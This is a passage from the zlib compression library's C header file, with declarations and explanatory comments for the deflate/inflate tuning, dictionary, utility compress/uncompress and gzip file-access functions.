OF((z_streamp strm, int good_length, int max_lazy, int nice_length, int max_chain)); /* Fine tune deflate's internal compression parameters. This should only be used by someone who understands the algorithm used by zlib's deflate for searching for the best matching string, and even then only by the most fanatic optimizer trying to squeeze out the last compressed bit for their specific input data. Read the deflate.c source code for the meaning of the max_lazy, good_length, nice_length, and max_chain parameters. deflateTune() can be called after deflateInit() or deflateInit2(), and returns Z_OK on success, or Z_STREAM_ERROR for an invalid deflate stream. */ ZEXTERN uLong ZEXPORT deflateBound OF((z_streamp strm, uLong sourceLen)); /* deflateBound() returns an upper bound on the compressed size after deflation of sourceLen bytes. It must be called after deflateInit() or deflateInit2(), and after deflateSetHeader(), if used. This would be used to allocate an output buffer for deflation in a single pass, and so would be called before deflate(). If that first deflate() call is provided the sourceLen input bytes, an output buffer allocated to the size returned by deflateBound(), and the flush value Z_FINISH, then deflate() is guaranteed to return Z_STREAM_END. Note that it is possible for the compressed size to be larger than the value returned by deflateBound() if flush options other than Z_FINISH or Z_NO_FLUSH are used. */ ZEXTERN int ZEXPORT deflatePending OF((z_streamp strm, unsigned *pending, int *bits)); /* deflatePending() returns the number of bytes and bits of output that have been generated, but not yet provided in the available output. The bytes not provided would be due to the available output space having being consumed. The number of bits of output not provided are between 0 and 7, where they await more bits to join them in order to fill out a full byte. If pending or bits are Z_NULL, then those values are not set. deflatePending returns Z_OK if success, or Z_STREAM_ERROR if the source stream state was inconsistent. */ ZEXTERN int ZEXPORT deflatePrime OF((z_streamp strm, int bits, int value)); /* deflatePrime() inserts bits in the deflate output stream. The intent is that this function is used to start off the deflate output with the bits leftover from a previous deflate stream when appending to it. As such, this function can only be used for raw deflate, and must be used before the first deflate() call after a deflateInit2() or deflateReset(). bits must be less than or equal to 16, and that many of the least significant bits of value will be inserted in the output. deflatePrime returns Z_OK if success, Z_BUF_ERROR if there was not enough room in the internal buffer to insert the bits, or Z_STREAM_ERROR if the source stream state was inconsistent. */ ZEXTERN int ZEXPORT deflateSetHeader OF((z_streamp strm, gz_headerp head)); /* deflateSetHeader() provides gzip header information for when a gzip stream is requested by deflateInit2(). deflateSetHeader() may be called after deflateInit2() or deflateReset() and before the first call of deflate(). The text, time, os, extra field, name, and comment information in the provided gz_header structure are written to the gzip header (xflag is ignored -- the extra flags are set according to the compression level). The caller must assure that, if not Z_NULL, name and comment are terminated with a zero byte, and that if extra is not Z_NULL, that extra_len bytes are available there. If hcrc is true, a gzip header crc is included. Note that the current versions of the command-line version of gzip (up through version 1.3.x) do not support header crc's, and will report that it is a "multi-part gzip file" and give up. If deflateSetHeader is not used, the default gzip header has text false, the time set to zero, and os set to 255, with no extra, name, or comment fields. The gzip header is returned to the default state by deflateReset(). deflateSetHeader returns Z_OK if success, or Z_STREAM_ERROR if the source stream state was inconsistent. */ /* ZEXTERN int ZEXPORT inflateInit2 OF((z_streamp strm, int windowBits)); This is another version of inflateInit with an extra parameter. The fields next_in, avail_in, zalloc, zfree and opaque must be initialized before by the caller. The windowBits parameter is the base two logarithm of the maximum window size (the size of the history buffer). It should be in the range 8..15 for this version of the library. The default value is 15 if inflateInit is used instead. windowBits must be greater than or equal to the windowBits value provided to deflateInit2() while compressing, or it must be equal to 15 if deflateInit2() was not used. If a compressed stream with a larger window size is given as input, inflate() will return with the error code Z_DATA_ERROR instead of trying to allocate a larger window. windowBits can also be zero to request that inflate use the window size in the zlib header of the compressed stream. windowBits can also be -8..-15 for raw inflate. In this case, -windowBits determines the window size. inflate() will then process raw deflate data, not looking for a zlib or gzip header, not generating a check value, and not looking for any check values for comparison at the end of the stream. This is for use with other formats that use the deflate compressed data format such as zip. Those formats provide their own check values. If a custom format is developed using the raw deflate format for compressed data, it is recommended that a check value such as an Adler-32 or a CRC-32 be applied to the uncompressed data as is done in the zlib, gzip, and zip formats. For most applications, the zlib format should be used as is. Note that comments above on the use in deflateInit2() applies to the magnitude of windowBits. windowBits can also be greater than 15 for optional gzip decoding. Add 32 to windowBits to enable zlib and gzip decoding with automatic header detection, or add 16 to decode only the gzip format (the zlib format will return a Z_DATA_ERROR). If a gzip stream is being decoded, strm->adler is a CRC-32 instead of an Adler-32. Unlike the gunzip utility and gzread() (see below), inflate() will not automatically decode concatenated gzip streams. inflate() will return Z_STREAM_END at the end of the gzip stream. The state would need to be reset to continue decoding a subsequent gzip stream. inflateInit2 returns Z_OK if success, Z_MEM_ERROR if there was not enough memory, Z_VERSION_ERROR if the zlib library version is incompatible with the version assumed by the caller, or Z_STREAM_ERROR if the parameters are invalid, such as a null pointer to the structure. msg is set to null if there is no error message. inflateInit2 does not perform any decompression apart from possibly reading the zlib header if present: actual decompression will be done by inflate(). (So next_in and avail_in may be modified, but next_out and avail_out are unused and unchanged.) The current implementation of inflateInit2() does not process any header information -- that is deferred until inflate() is called. */ ZEXTERN int ZEXPORT inflateSetDictionary OF((z_streamp strm, const Bytef *dictionary, uInt dictLength)); /* Initializes the decompression dictionary from the given uncompressed byte sequence. This function must be called immediately after a call of inflate, if that call returned Z_NEED_DICT. The dictionary chosen by the compressor can be determined from the Adler-32 value returned by that call of inflate. The compressor and decompressor must use exactly the same dictionary (see deflateSetDictionary). For raw inflate, this function can be called at any time to set the dictionary. If the provided dictionary is smaller than the window and there is already data in the window, then the provided dictionary will amend what's there. The application must insure that the dictionary that was used for compression is provided. inflateSetDictionary returns Z_OK if success, Z_STREAM_ERROR if a parameter is invalid (e.g. dictionary being Z_NULL) or the stream state is inconsistent, Z_DATA_ERROR if the given dictionary doesn't match the expected one (incorrect Adler-32 value). inflateSetDictionary does not perform any decompression: this will be done by subsequent calls of inflate(). */ ZEXTERN int ZEXPORT inflateGetDictionary OF((z_streamp strm, Bytef *dictionary, uInt *dictLength)); /* Returns the sliding dictionary being maintained by inflate. dictLength is set to the number of bytes in the dictionary, and that many bytes are copied to dictionary. dictionary must have enough space, where 32768 bytes is always enough. If inflateGetDictionary() is called with dictionary equal to Z_NULL, then only the dictionary length is returned, and nothing is copied. Similary, if dictLength is Z_NULL, then it is not set. inflateGetDictionary returns Z_OK on success, or Z_STREAM_ERROR if the stream state is inconsistent. */ ZEXTERN int ZEXPORT inflateSync OF((z_streamp strm)); /* Skips invalid compressed data until a possible full flush point (see above for the description of deflate with Z_FULL_FLUSH) can be found, or until all available input is skipped. No output is provided. inflateSync searches for a 00 00 FF FF pattern in the compressed data. All full flush points have this pattern, but not all occurrences of this pattern are full flush points. inflateSync returns Z_OK if a possible full flush point has been found, Z_BUF_ERROR if no more input was provided, Z_DATA_ERROR if no flush point has been found, or Z_STREAM_ERROR if the stream structure was inconsistent. In the success case, the application may save the current current value of total_in which indicates where valid compressed data was found. In the error case, the application may repeatedly call inflateSync, providing more input each time, until success or end of the input data. */ ZEXTERN int ZEXPORT inflateCopy OF((z_streamp dest, z_streamp source)); /* Sets the destination stream as a complete copy of the source stream. This function can be useful when randomly accessing a large stream. The first pass through the stream can periodically record the inflate state, allowing restarting inflate at those points when randomly accessing the stream. inflateCopy returns Z_OK if success, Z_MEM_ERROR if there was not enough memory, Z_STREAM_ERROR if the source stream state was inconsistent (such as zalloc being Z_NULL). msg is left unchanged in both source and destination. */ ZEXTERN int ZEXPORT inflateReset OF((z_streamp strm)); /* This function is equivalent to inflateEnd followed by inflateInit, but does not free and reallocate the internal decompression state. The stream will keep attributes that may have been set by inflateInit2. inflateReset returns Z_OK if success, or Z_STREAM_ERROR if the source stream state was inconsistent (such as zalloc or state being Z_NULL). */ ZEXTERN int ZEXPORT inflateReset2 OF((z_streamp strm, int windowBits)); /* This function is the same as inflateReset, but it also permits changing the wrap and window size requests. The windowBits parameter is interpreted the same as it is for inflateInit2. If the window size is changed, then the memory allocated for the window is freed, and the window will be reallocated by inflate() if needed. inflateReset2 returns Z_OK if success, or Z_STREAM_ERROR if the source stream state was inconsistent (such as zalloc or state being Z_NULL), or if the windowBits parameter is invalid. */ ZEXTERN int ZEXPORT inflatePrime OF((z_streamp strm, int bits, int value)); /* This function inserts bits in the inflate input stream. The intent is that this function is used to start inflating at a bit position in the middle of a byte. The provided bits will be used before any bytes are used from next_in. This function should only be used with raw inflate, and should be used before the first inflate() call after inflateInit2() or inflateReset(). bits must be less than or equal to 16, and that many of the least significant bits of value will be inserted in the input. If bits is negative, then the input stream bit buffer is emptied. Then inflatePrime() can be called again to put bits in the buffer. This is used to clear out bits leftover after feeding inflate a block description prior to feeding inflate codes. inflatePrime returns Z_OK if success, or Z_STREAM_ERROR if the source stream state was inconsistent. */ ZEXTERN long ZEXPORT inflateMark OF((z_streamp strm)); /* This function returns two values, one in the lower 16 bits of the return value, and the other in the remaining upper bits, obtained by shifting the return value down 16 bits. If the upper value is -1 and the lower value is zero, then inflate() is currently decoding information outside of a block. If the upper value is -1 and the lower value is non-zero, then inflate is in the middle of a stored block, with the lower value equaling the number of bytes from the input remaining to copy. If the upper value is not -1, then it is the number of bits back from the current bit position in the input of the code (literal or length/distance pair) currently being processed. In that case the lower value is the number of bytes already emitted for that code. A code is being processed if inflate is waiting for more input to complete decoding of the code, or if it has completed decoding but is waiting for more output space to write the literal or match data. inflateMark() is used to mark locations in the input data for random access, which may be at bit positions, and to note those cases where the output of a code may span boundaries of random access blocks. The current location in the input stream can be determined from avail_in and data_type as noted in the description for the Z_BLOCK flush parameter for inflate. inflateMark returns the value noted above, or -65536 if the provided source stream state was inconsistent. */ ZEXTERN int ZEXPORT inflateGetHeader OF((z_streamp strm, gz_headerp head)); /* inflateGetHeader() requests that gzip header information be stored in the provided gz_header structure. inflateGetHeader() may be called after inflateInit2() or inflateReset(), and before the first call of inflate(). As inflate() processes the gzip stream, head->done is zero until the header is completed, at which time head->done is set to one. If a zlib stream is being decoded, then head->done is set to -1 to indicate that there will be no gzip header information forthcoming. Note that Z_BLOCK or Z_TREES can be used to force inflate() to return immediately after header processing is complete and before any actual data is decompressed. The text, time, xflags, and os fields are filled in with the gzip header contents. hcrc is set to true if there is a header CRC. (The header CRC was valid if done is set to one.) If extra is not Z_NULL, then extra_max contains the maximum number of bytes to write to extra. Once done is true, extra_len contains the actual extra field length, and extra contains the extra field, or that field truncated if extra_max is less than extra_len. If name is not Z_NULL, then up to name_max characters are written there, terminated with a zero unless the length is greater than name_max. If comment is not Z_NULL, then up to comm_max characters are written there, terminated with a zero unless the length is greater than comm_max. When any of extra, name, or comment are not Z_NULL and the respective field is not present in the header, then that field is set to Z_NULL to signal its absence. This allows the use of deflateSetHeader() with the returned structure to duplicate the header. However if those fields are set to allocated memory, then the application will need to save those pointers elsewhere so that they can be eventually freed. If inflateGetHeader is not used, then the header information is simply discarded. The header is always checked for validity, including the header CRC if present. inflateReset() will reset the process to discard the header information. The application would need to call inflateGetHeader() again to retrieve the header from the next gzip stream. inflateGetHeader returns Z_OK if success, or Z_STREAM_ERROR if the source stream state was inconsistent. */ /* ZEXTERN int ZEXPORT inflateBackInit OF((z_streamp strm, int windowBits, unsigned char FAR *window)); Initialize the internal stream state for decompression using inflateBack() calls. The fields zalloc, zfree and opaque in strm must be initialized before the call. If zalloc and zfree are Z_NULL, then the default library- derived memory allocation routines are used. windowBits is the base two logarithm of the window size, in the range 8..15. window is a caller supplied buffer of that size. Except for special applications where it is assured that deflate was used with small window sizes, windowBits must be 15 and a 32K byte window must be supplied to be able to decompress general deflate streams. See inflateBack() for the usage of these routines. inflateBackInit will return Z_OK on success, Z_STREAM_ERROR if any of the parameters are invalid, Z_MEM_ERROR if the internal state could not be allocated, or Z_VERSION_ERROR if the version of the library does not match the version of the header file. */ typedef unsigned (*in_func) OF((void FAR *, z_const unsigned char FAR * FAR *)); typedef int (*out_func) OF((void FAR *, unsigned char FAR *, unsigned)); ZEXTERN int ZEXPORT inflateBack OF((z_streamp strm, in_func in, void FAR *in_desc, out_func out, void FAR *out_desc)); /* inflateBack() does a raw inflate with a single call using a call-back interface for input and output. This is potentially more efficient than inflate() for file i/o applications, in that it avoids copying between the output and the sliding window by simply making the window itself the output buffer. inflate() can be faster on modern CPUs when used with large buffers. inflateBack() trusts the application to not change the output buffer passed by the output function, at least until inflateBack() returns. inflateBackInit() must be called first to allocate the internal state and to initialize the state with the user-provided window buffer. inflateBack() may then be used multiple times to inflate a complete, raw deflate stream with each call. inflateBackEnd() is then called to free the allocated state. A raw deflate stream is one with no zlib or gzip header or trailer. This routine would normally be used in a utility that reads zip or gzip files and writes out uncompressed files. The utility would decode the header and process the trailer on its own, hence this routine expects only the raw deflate stream to decompress. This is different from the default behavior of inflate(), which expects a zlib header and trailer around the deflate stream. inflateBack() uses two subroutines supplied by the caller that are then called by inflateBack() for input and output. inflateBack() calls those routines until it reads a complete deflate stream and writes out all of the uncompressed data, or until it encounters an error. The function's parameters and return types are defined above in the in_func and out_func typedefs. inflateBack() will call in(in_desc, &buf) which should return the number of bytes of provided input, and a pointer to that input in buf. If there is no input available, in() must return zero -- buf is ignored in that case -- and inflateBack() will return a buffer error. inflateBack() will call out(out_desc, buf, len) to write the uncompressed data buf[0..len-1]. out() should return zero on success, or non-zero on failure. If out() returns non-zero, inflateBack() will return with an error. Neither in() nor out() are permitted to change the contents of the window provided to inflateBackInit(), which is also the buffer that out() uses to write from. The length written by out() will be at most the window size. Any non-zero amount of input may be provided by in(). For convenience, inflateBack() can be provided input on the first call by setting strm->next_in and strm->avail_in. If that input is exhausted, then in() will be called. Therefore strm->next_in must be initialized before calling inflateBack(). If strm->next_in is Z_NULL, then in() will be called immediately for input. If strm->next_in is not Z_NULL, then strm->avail_in must also be initialized, and then if strm->avail_in is not zero, input will initially be taken from strm->next_in[0 .. strm->avail_in - 1]. The in_desc and out_desc parameters of inflateBack() is passed as the first parameter of in() and out() respectively when they are called. These descriptors can be optionally used to pass any information that the caller- supplied in() and out() functions need to do their job. On return, inflateBack() will set strm->next_in and strm->avail_in to pass back any unused input that was provided by the last in() call. The return values of inflateBack() can be Z_STREAM_END on success, Z_BUF_ERROR if in() or out() returned an error, Z_DATA_ERROR if there was a format error in the deflate stream (in which case strm->msg is set to indicate the nature of the error), or Z_STREAM_ERROR if the stream was not properly initialized. In the case of Z_BUF_ERROR, an input or output error can be distinguished using strm->next_in which will be Z_NULL only if in() returned an error. If strm->next_in is not Z_NULL, then the Z_BUF_ERROR was due to out() returning non-zero. (in() will always be called before out(), so strm->next_in is assured to be defined if out() returns non-zero.) Note that inflateBack() cannot return Z_OK. */ ZEXTERN int ZEXPORT inflateBackEnd OF((z_streamp strm)); /* All memory allocated by inflateBackInit() is freed. inflateBackEnd() returns Z_OK on success, or Z_STREAM_ERROR if the stream state was inconsistent. */ ZEXTERN uLong ZEXPORT zlibCompileFlags OF((void)); /* Return flags indicating compile-time options. Type sizes, two bits each, 00 = 16 bits, 01 = 32, 10 = 64, 11 = other: 1.0: size of uInt 3.2: size of uLong 5.4: size of voidpf (pointer) 7.6: size of z_off_t Compiler, assembler, and debug options: 8: ZLIB_DEBUG 9: ASMV or ASMINF -- use ASM code 10: ZLIB_WINAPI -- exported functions use the WINAPI calling convention 11: 0 (reserved) One-time table building (smaller code, but not thread-safe if true): 12: BUILDFIXED -- build static block decoding tables when needed 13: DYNAMIC_CRC_TABLE -- build CRC calculation tables when needed 14,15: 0 (reserved) Library content (indicates missing functionality): 16: NO_GZCOMPRESS -- gz* functions cannot compress (to avoid linking deflate code when not needed) 17: NO_GZIP -- deflate can't write gzip streams, and inflate can't detect and decode gzip streams (to avoid linking crc code) 18-19: 0 (reserved) Operation variations (changes in library functionality): 20: PKZIP_BUG_WORKAROUND -- slightly more permissive inflate 21: FASTEST -- deflate algorithm with only one, lowest compression level 22,23: 0 (reserved) The sprintf variant used by gzprintf (zero is best): 24: 0 = vs*, 1 = s* -- 1 means limited to 20 arguments after the format 25: 0 = *nprintf, 1 = *printf -- 1 means gzprintf() not secure! 26: 0 = returns value, 1 = void -- 1 means inferred string length returned Remainder: 27-31: 0 (reserved) */ #ifndef Z_SOLO /* utility functions */ /* The following utility functions are implemented on top of the basic stream-oriented functions. To simplify the interface, some default options are assumed (compression level and memory usage, standard memory allocation functions). The source code of these utility functions can be modified if you need special options. */ ZEXTERN int ZEXPORT compress OF((Bytef *dest, uLongf *destLen, const Bytef *source, uLong sourceLen)); /* Compresses the source buffer into the destination buffer. sourceLen is the byte length of the source buffer. Upon entry, destLen is the total size of the destination buffer, which must be at least the value returned by compressBound(sourceLen). Upon exit, destLen is the actual size of the compressed data. compress() is equivalent to compress2() with a level parameter of Z_DEFAULT_COMPRESSION. compress returns Z_OK if success, Z_MEM_ERROR if there was not enough memory, Z_BUF_ERROR if there was not enough room in the output buffer. */ ZEXTERN int ZEXPORT compress2 OF((Bytef *dest, uLongf *destLen, const Bytef *source, uLong sourceLen, int level)); /* Compresses the source buffer into the destination buffer. The level parameter has the same meaning as in deflateInit. sourceLen is the byte length of the source buffer. Upon entry, destLen is the total size of the destination buffer, which must be at least the value returned by compressBound(sourceLen). Upon exit, destLen is the actual size of the compressed data. compress2 returns Z_OK if success, Z_MEM_ERROR if there was not enough memory, Z_BUF_ERROR if there was not enough room in the output buffer, Z_STREAM_ERROR if the level parameter is invalid. */ ZEXTERN uLong ZEXPORT compressBound OF((uLong sourceLen)); /* compressBound() returns an upper bound on the compressed size after compress() or compress2() on sourceLen bytes. It would be used before a compress() or compress2() call to allocate the destination buffer. */ ZEXTERN int ZEXPORT uncompress OF((Bytef *dest, uLongf *destLen, const Bytef *source, uLong sourceLen)); /* Decompresses the source buffer into the destination buffer. sourceLen is the byte length of the source buffer. Upon entry, destLen is the total size of the destination buffer, which must be large enough to hold the entire uncompressed data. (The size of the uncompressed data must have been saved previously by the compressor and transmitted to the decompressor by some mechanism outside the scope of this compression library.) Upon exit, destLen is the actual size of the uncompressed data. uncompress returns Z_OK if success, Z_MEM_ERROR if there was not enough memory, Z_BUF_ERROR if there was not enough room in the output buffer, or Z_DATA_ERROR if the input data was corrupted or incomplete. In the case where there is not enough room, uncompress() will fill the output buffer with the uncompressed data up to that point. */ ZEXTERN int ZEXPORT uncompress2 OF((Bytef *dest, uLongf *destLen, const Bytef *source, uLong *sourceLen)); /* Same as uncompress, except that sourceLen is a pointer, where the length of the source is *sourceLen. On return, *sourceLen is the number of source bytes consumed. */ /* gzip file access functions */ /* This library supports reading and writing files in gzip (.gz) format with an interface similar to that of stdio, using the functions that start with "gz". The gzip format is different from the zlib format. gzip is a gzip wrapper, documented in RFC 1952, wrapped around a deflate stream. */ typedef struct gzFile_s *gzFile; /* semi-opaque gzip file descriptor */ /* ZEXTERN gzFile ZEXPORT gzopen OF((const char *path, const char *mode)); Opens a gzip (.gz) file for reading or writing. The mode parameter is as in fopen ("rb" or "wb") but can also include a compression level ("wb9") or a strategy: 'f' for filtered data as in "wb6f", 'h' for Huffman-only compression as in "wb1h", 'R' for run-length encoding as in "wb1R", or 'F' for fixed code compression as in "wb9F". (See the description of deflateInit2 for more information about the strategy parameter.) 'T' will request transparent writing or appending with no compression and not using the gzip format. "a" can be used instead of "w" to request that the gzip stream that will be written be appended to the file. "+" will result in an error, since reading and writing to the same gzip file is not supported. The addition of "x" when writing will create the file exclusively, which fails if the file already exists. On systems that support it, the addition of "e" when reading or writing will set the flag to close the file on an execve() call. These functions, as well as gzip, will read and decode a sequence of gzip streams in a file. The append function of gzopen() can be used to create such a file. (Also see gzflush() for another way to do this.) When appending, gzopen does not test whether the file begins with a gzip stream, nor does it look for the end of the gzip streams to begin appending. gzopen will simply append a gzip stream to the existing file. gzopen can be used to read a file which is not in gzip format; in this case gzread will directly read from the file without decompression. When reading, this will be detected automatically by looking for the magic two- byte gzip header. gzopen returns NULL if the file could not be opened, if there was insufficient memory to allocate the gzFile state, or if an invalid mode was specified (an 'r', 'w', or 'a' was not provided, or '+' was provided). errno can be checked to determine if the reason gzopen failed was that the file could not be opened. */ ZEXTERN gzFile ZEXPORT gzdopen OF((int fd, const char *mode)); /* gzdopen associates a gzFile with the file descriptor fd. File descriptors are obtained from calls like open, dup, creat, pipe or fileno (if the file has been previously opened with fopen). The mode parameter is as in gzopen. The next call of gzclose on the returned gzFile will also close the file descriptor fd, just like fclose(fdopen(fd, mode)) closes the file descriptor fd. If you want to keep fd open, use fd = dup(fd_keep); gz = gzdopen(fd, mode);. The duplicated descriptor should be saved to avoid a leak, since gzdopen does not close fd if it fails. If you are using fileno() to get the file descriptor from a FILE *, then you will have to use dup() to avoid double-close()ing the file descriptor. Both gzclose() and fclose() will close the associated file descriptor, so they need to have different file descriptors. gzdopen returns NULL if there was insufficient memory to allocate the gzFile state, if an invalid mode was specified (an 'r', 'w', or 'a' was not provided, or '+' was provided), or if fd is -1. The file descriptor is not used until the next gz* read, write, seek, or close operation, so gzdopen will not detect if fd is invalid (unless fd is -1). */ ZEXTERN int ZEXPORT gzbuffer OF((gzFile file, unsigned size)); /* Set the internal buffer size used by this library's functions. The default buffer size is 8192 bytes. This function must be called after gzopen() or gzdopen(), and before any other calls that read or write the file. The buffer memory allocation is always deferred to the first read or write. Three times that size in buffer space is allocated. A larger buffer size of, for example, 64K or 128K bytes will noticeably increase the speed of decompression (reading). The new buffer size also affects the maximum length for gzprintf(). gzbuffer() returns 0 on success, or -1 on failure, such as being called too late. */ ZEXTERN int ZEXPORT gzsetparams OF((gzFile file, int level, int strategy)); /* Dynamically update the compression level or strategy. See the description of deflateInit2 for the meaning of these parameters. Previously provided data is flushed before the parameter change. gzsetparams returns Z_OK if success, Z_STREAM_ERROR if the file was not opened for writing, Z_ERRNO if there is an error writing the flushed data, or Z_MEM_ERROR if there is a memory allocation error. */ ZEXTERN int ZEXPORT gzread OF((gzFile file, voidp buf, unsigned len)); /* Reads the given number of uncompressed bytes from the compressed file. If the input file is not in gzip format, gzread copies the given number of bytes into the buffer directly from the file. After reaching the end of a gzip stream in the input, gzread will continue to read, looking for another gzip stream. Any number of gzip streams may be concatenated in the input file, and will all be decompressed by gzread(). If something other than a gzip stream is encountered after a gzip stream, that remaining trailing garbage is ignored (and no error is returned). gzread can be used to read a gzip file that is being concurrently written. Upon reaching the end of the input, gzread will return with the available data. If the error code returned by gzerror is Z_OK or Z_BUF_ERROR, then gzclearerr can be used to clear the end of file indicator in order to permit gzread to be tried again. Z_OK indicates that a gzip stream was completed on the last gzread. Z_BUF_ERROR indicates that the input file ended in the middle of a gzip stream. Note that gzread does not return -1 in the event of an incomplete gzip stream. This error is deferred until gzclose(), which will return Z_BUF_ERROR if the last gzread ended in the middle of a gzip stream. Alternatively, gzerror can be used before gzclose to detect this case. gzread returns the number of uncompressed bytes actually read, less than len for end of file, or -1 for error. If len is too large to fit in an int, then nothing is read, -1 is returned, and the error state is set to Z_STREAM_ERROR. */ ZEXTERN z_size_t ZEXPORT gzfread OF((voidp buf, z_size_t size, z_size_t nitems, gzFile file)); /* Read up to nitems items of size size from file to buf, otherwise operating as gzread() does. This duplicates the interface of stdio's fread(), with size_t request and return types. If the library defines size_t, then z_size_t is identical to size_t. If not, then z_size_t is an unsigned integer type that can contain a pointer. gzfread() returns the number of full items read of size size, or zero if the end of the file was reached and a full item could not be read, or if there was an error. gzerror() must be consulted if zero is returned in order to determine if there was an error. If the multiplication of size and nitems overflows, i.e. the product does not fit in a z_size_t, then nothing is read, zero is returned, and the error state is set to Z_STREAM_ERROR. In the event that the end of file is reached and only a partial item is available at the end, i.e. the remaining uncompressed data length is not a multiple of size, then the final partial item is nevetheless read into buf and the end-of-file flag is set. The length of the partial item read is not provided, but could be inferred from the result of gztell(). This behavior is the same as the behavior of fread() implementations in common libraries, but it prevents the direct use of gzfread() to read a concurrently written file, reseting and retrying on end-of-file, when size is not 1. */ ZEXTERN int ZEXPORT gzwrite OF((gzFile file, voidpc buf, unsigned len)); /* Writes the given number of uncompressed bytes into the compressed file. gzwrite returns the number of uncompressed bytes written or 0 in case of error. */ ZEXTERN z_size_t ZEXPORT gzfwrite OF((voidpc buf, z_size_t size, z_size_t nitems, gzFile file)); /* gzfwrite() writes nitems items of size size from buf to file, duplicating the interface of stdio's fwrite(), with size_t request and return types. If the library defines size_t, then z_size_t is identical to size_t. If not, then z_size_t is an unsigned integer type that can contain a pointer. gzfwrite() returns the number of full items written of size size, or zero if there was an error. If the multiplication of size and nitems overflows, i.e. the product does not fit in a z_size_t, then nothing is written, zero is returned, and the error state is set to Z_STREAM_ERROR. */ ZEXTERN int ZEXPORTVA gzprintf Z_ARG((gzFile file, const char *format, ...)); /* Converts, formats, and writes the arguments to the compressed file under control of the format string, as in fprintf. gzprintf returns the number of uncompressed bytes actually written, or a negative zlib error code in case of error. The number of uncompressed bytes written is limited to 8191, or one less than the buffer size given to gzbuffer(). The caller should assure that this limit is not exceeded. If it is exceeded, then gzprintf() will return an error (0) with nothing written. In this case, there may also be a buffer overflow with unpredictable consequences, which is possible only if zlib was compiled with the insecure functions sprintf() or vsprintf() because the secure snprintf() or vsnprintf() functions were not available. This can be determined using zlibCompileFlags(). */ ZEXTERN int ZEXPORT gzputs OF((gzFile file, const char *s)); /* Writes the given null-terminated string to the compressed file, excluding the terminating null character. gzputs returns the number of characters written, or -1 in case of error. */ ZEXTERN char * ZEXPORT gzgets OF((gzFile file, char *buf, int len)); /* Reads bytes from the compressed file until len-1 characters are read, or a newline character is read and transferred to buf, or an end-of-file condition is encountered. If any characters are read or if len == 1, the string is terminated with a null character. If no characters are read due to an end-of-file or len < 1, then the buffer is left untouched. gzgets returns buf which is a null-terminated string, or it returns NULL for end-of-file or in case of error. If there was an error, the contents at buf are indeterminate. */ ZEXTERN int ZEXPORT gzputc OF((gzFile file, int c)); /* Writes c, converted to an unsigned char, into the compressed file. gzputc returns the value that was written, or -1 in case of error. */ ZEXTERN int ZEXPORT gzgetc OF((gzFile file)); /* Reads one byte from the compressed file. gzgetc returns this byte or -1 in case of end of file or error. This is implemented as a macro for speed. As such, it does not do all of the checking the other functions do. I.e. it does not check to see if file is NULL, nor whether the structure file points to has been clobbered or not. */ ZEXTERN int ZEXPORT gzungetc OF((int c, gzFile file)); /* Push one character back onto the stream to be read as the first character on the next read. At least one character of push-back is allowed. gzungetc() returns the character pushed, or -1 on failure. gzungetc() will fail if c is -1, and may fail if a character has been pushed but not read yet. If gzungetc is used immediately after gzopen or gzdopen, at least the output buffer size of pushed characters is allowed. (See gzbuffer above.) The pushed character will be discarded if the stream is repositioned with gzseek() or gzrewind(). */ ZEXTERN int ZEXPORT gzflush OF((gzFile file, int flush)); /* Flushes all pending output into the compressed file. The parameter flush is as in the deflate() function. The return value is the zlib error number (see function gzerror below). gzflush is only permitted when writing. If the flush parameter is Z_FINISH, the remaining data is written and the gzip stream is completed in the output. If gzwrite() is called again, a new gzip stream will be started in the output. gzread() is able to read such concatenated gzip streams. gzflush should be called only when strictly necessary because it will degrade compression if called too often. */ /* ZEXTERN z_off_t ZEXPORT gzseek OF((gzFile file, z_off_t offset, int whence)); Sets the starting position for the next gzread or gzwrite on the given compressed file. The offset represents a number of bytes in the uncompressed data stream. The whence parameter is defined as in lseek(2); the value SEEK_END is not supported. If the file is opened for reading, this function is emulated but can be extremely slow. If the file is opened for writing, only forward seeks are supported; gzseek then compresses a sequence of zeroes up to the new starting position. gzseek returns the resulting offset location as measured in bytes from the beginning of the uncompressed stream, or -1 in case of error, in particular if the file is opened for writing and the new starting position would be before the current position. */ ZEXTERN int ZEXPORT gzrewind OF((gzFile file)); /* Rewinds the given file. This function is supported only for reading. gzrewind(file) is equivalent to (int)gzseek(file, 0L, SEEK_SET) */ /* ZEXTERN z_off_t ZEXPORT gztell OF((gzFile file)); Returns the starting position for the next gzread or gzwrite on the given compressed file. This position represents a number of bytes in the uncompressed data stream, and is zero when starting, even if appending or reading a gzip stream from the middle of a file using gzdopen(). gztell(file) is equivalent to gzseek(file, 0L, SEEK_CUR) */ /* ZEXTERN z_off_t ZEXPORT gzoffset OF((gzFile file)); Returns the current offset in the file being read or written. This offset includes the count of bytes that precede the gzip stream, for example when appending or when using gzdopen() for reading. When reading, the offset does not include as yet unused buffered input. This information can be used for a progress indicator. On error, gzoffset() returns -1. */ ZEXTERN int ZEXPORT gzeof OF((gzFile file)); /* Returns true (1) if the end-of-file indicator has been set while reading, false (0) otherwise. Note that the end-of-file indicator is set only if the read tried to go past the end of the input, but came up short. Therefore, just like feof(), gzeof() may return false even if there is no more data to read, in the event that the last read request was for the exact number of bytes remaining in the input file. This will happen if the input file size is an exact multiple of the buffer size. If gzeof() returns true, then the read functions will return no more data, unless the end-of-file indicator is reset by gzclearerr() and the input file has grown since the previous end of file was detected. */ ZEXTERN int ZEXPORT gzdirect OF((gzFile file)); /* Returns true (1) if file is being copied directly while reading, or false (0) if file is a gzip stream being decompressed. If the input file is empty, gzdirect() will return true, since the input does not contain a gzip stream. If gzdirect() is used immediately after gzopen() or gzdopen() it will cause buffers to be allocated to allow reading the file to determine if it is a gzip file. Therefore if gzbuffer() is used, it should be called before gzdirect(). When writing, gzdirect() returns true (1) if transparent writing was requested ("wT" for the gzopen() mode), or false (0) otherwise. (Note: gzdirect() is not needed when writing. Transparent writing must be explicitly requested, so the application already knows the answer. When linking statically, using gzdirect() will include all of the zlib code for gzip file reading and decompression, which may not be desired.) */ ZEXTERN int ZEXPORT gzclose OF((gzFile file)); /* Flushes all pending output if necessary, closes the compressed file and deallocates the (de)compression state. Note that once file is closed, you cannot call gzerror with file, since its structures have been deallocated. gzclose must not be called more than once on the same file, just as free must not be called more than once on the same allocation. gzclose will return Z_STREAM_ERROR if file is not valid, Z_ERRNO on a file operation error, Z_MEM_ERROR if out of memory, Z_BUF_ERROR if the last read ended in the middle of a gzip stream, or Z_OK on success. */ ZEXTERN int ZEXPORT gzclose_r OF((gzFile file)); ZEXTERN int ZEXPORT gzclose_w OF((gzFile file)); /* Same as gzclose(), but gzclose_r() is only for use when reading, and 